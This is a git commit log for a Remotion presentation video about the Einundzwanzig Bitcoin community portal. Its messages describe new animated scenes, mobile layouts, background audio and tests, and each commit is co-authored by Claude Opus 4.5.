Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 14:24:33 +01:00
HolgerHatGarKeineNode
d29c54cf56
🧪 Add tests for Root.tsx verifying mobile composition registration
...
Add comprehensive tests for RemotionRoot component to verify:
- PortalPresentationMobile is registered in Portal folder
- Mobile composition has correct dimensions (1080x1920)
- All compositions have correct fps and duration settings
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 14:11:07 +01:00
HolgerHatGarKeineNode
e9e8038f29
📱 Add mobile scene adaptations for PortalPresentationMobile
...
Mobile-optimized versions of all 9 scenes with portrait layout (1080x1920):
- PortalIntroSceneMobile: Smaller logo (280px), text-5xl title
- PortalTitleSceneMobile: Title split into two lines, text-5xl
- DashboardOverviewSceneMobile: Vertical card stacking, no sidebar
- MeetupShowcaseSceneMobile: Vertical layout, 360px featured card
- CountryStatsSceneMobile: Single column, 280px bars, compact sparklines
- TopMeetupsSceneMobile: Narrower rows, 70px sparklines
- ActivityFeedSceneMobile: 400px activity cards
- CallToActionSceneMobile: max-w-md container, 100px logo
- PortalOutroSceneMobile: 450px horizontal logo
Includes 92 tests covering mobile-specific layout adaptations.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 14:09:16 +01:00
HolgerHatGarKeineNode
364fb201b8
📱 Add PortalPresentationMobile composition for mobile (1080x1920)
...
- Create PortalPresentationMobile.tsx for portrait mobile resolution
- Register PortalPresentationMobile composition in Root.tsx
- Add comprehensive tests for the mobile composition
- Reuse existing portal scenes which adapt via useVideoConfig()
- Mobile version has same scene structure and timing as desktop
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:57:59 +01:00
HolgerHatGarKeineNode
634c63cfa2
🧪 Add comprehensive tests for PortalPresentation audio integration
...
- Add test suite for PortalPresentation main composition
- Verify PortalAudioManager renders with background music
- Test all 9 scene sequences are rendered in correct order
- Verify scene timing totals 90 seconds (2700 frames at 30fps)
- Test audio integration including loop and volume settings
- Confirm premountFor is set correctly for all scenes
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:53:58 +01:00
HolgerHatGarKeineNode
57322a9556
🎵 Add PortalAudioManager component for background music
...
- Add PortalAudioManager.tsx with background music fade in/out
- 1 second fade-in at the beginning
- 3 second fade-out at the end
- Base volume at 0.25 (25%)
- Integrate PortalAudioManager into PortalPresentation
- Add PortalOutroScene to PortalPresentation (was using placeholder)
- Add comprehensive tests for PortalAudioManager (13 tests)
- Tests for volume at various frames
- Tests for fade-in/fade-out behavior
- Integration tests
Scene-specific SFX remain in individual scene components for
better timing accuracy and maintainability.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:49:15 +01:00
HolgerHatGarKeineNode
5fe779b1dc
🎬 Add PortalOutroScene component for Outro (Scene 9)
...
- Implement 12-second outro scene with wallpaper background
- Add horizontal EINUNDZWANZIG logo with glow pulse effect
- Include BitcoinEffect particles throughout the scene
- Add "EINUNDZWANZIG" title and subtitle animations
- Include final-chime audio effect at logo appearance
- Add final 2-second fade out for smooth ending
- Include comprehensive test suite with 21 tests
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:45:02 +01:00
HolgerHatGarKeineNode
5adabf5fd0
🎬 Add CallToActionScene component for Call to Action (Scene 8)
...
Implements Scene 8 of the Portal Presentation video:
- Dashboard blur and zoom out animation
- Glassmorphism overlay with spring entrance
- "Werde Teil der Community" title with bounce animation
- URL typing animation: portal.einundzwanzig.space
- Orange pulsing glow effect on URL after typing completes
- EINUNDZWANZIG logo with animated glow
- Audio: success-fanfare, typing, url-emphasis, logo-reveal
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:40:53 +01:00
HolgerHatGarKeineNode
eebd1e84b5
🎬 Add ActivityFeedScene component for Activity Feed (Scene 7)
...
Implements the Activity Feed scene for the Einundzwanzig Portal
presentation video. Features include:
- 3D perspective entrance animation with smooth transitions
- "Aktivitäten" header with pulsing LIVE indicator
- 4 activity items with staggered slide-in animations:
- EINUNDZWANZIG Kempten (vor 13 Stunden)
- EINUNDZWANZIG Darmstadt (vor 21 Stunden)
- EINUNDZWANZIG Vulkaneifel (vor 2 Tagen)
- BitcoinWalk Würzburg (vor 2 Tagen)
- "Neuer Termin" badge with bounce animation
- Audio: button-click.mp3 per item, slide-in.mp3 for entrance
- Uses existing ActivityItem component for consistent styling
- Comprehensive test suite with 24 tests
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:37:16 +01:00
HolgerHatGarKeineNode
861c0e9245
🎬 Add TopMeetupsScene component for Top Meetups (Scene 6)
...
Implements Scene 6 of the Portal presentation video, showcasing the top 5
most active Einundzwanzig meetups with animated rankings, sparkline charts,
and progress bars. Features 3D perspective entrance, staggered item animations,
and audio cues.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:34:01 +01:00
HolgerHatGarKeineNode
e9b55b60aa
🎬 Add CountryStatsScene component for Top Länder (Scene 5)
...
Implements the Country Statistics scene which visualizes the geographic
reach of the Bitcoin community across German-speaking countries with
animated country bars, sparkline charts, and user counts.
Features:
- 3D perspective entrance animation for smooth scene transition
- Sequential country reveals with staggered timing (12 frame delay)
- CountryBar components with animated progress bars and user counts
- SparklineChart components showing growth trends for each country
- Total users badge with globe icon
- Audio: success-chime per country, slide-in for section entrance
- Countries displayed: Germany, Austria, Switzerland, Luxembourg,
Bulgaria, and Spain
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:29:49 +01:00
HolgerHatGarKeineNode
2058140439
🎬 Add MeetupShowcaseScene component for Meine Meetups (Scene 4)
...
Implements the meetup showcase scene with:
- Featured meetup card with 3D perspective and shadow effects
- Date/time display with calendar and clock icons
- Upcoming meetups list (Memmingen, Friedrichshafen)
- Action buttons for calendar integration
- Staggered animations with spring physics
- Audio cues for slide-in and badge appearances
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:26:26 +01:00
HolgerHatGarKeineNode
41acbc9324
🎬 Add DashboardOverviewScene component for Dashboard Overview (Scene 3)
...
Implements the 12-second Dashboard Overview scene featuring:
- 3D perspective entrance animation (rotateX 30° → 0°, scale 0.85 → 1.0)
- DashboardSidebar with staggered navigation items
- Three StatsCounter cards (Meetups: 204, Users: 1247, Events: 89)
- SparklineCharts showing trend data for each metric
- Activity feed section with recent meetup activities
- Quick stats section with country and user metrics
- Audio: card-slide.mp3 and ui-appear.mp3 sound effects
- Vignette overlay and dark theme styling
Includes 23 comprehensive tests covering all components and animations.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 13:20:56 +01:00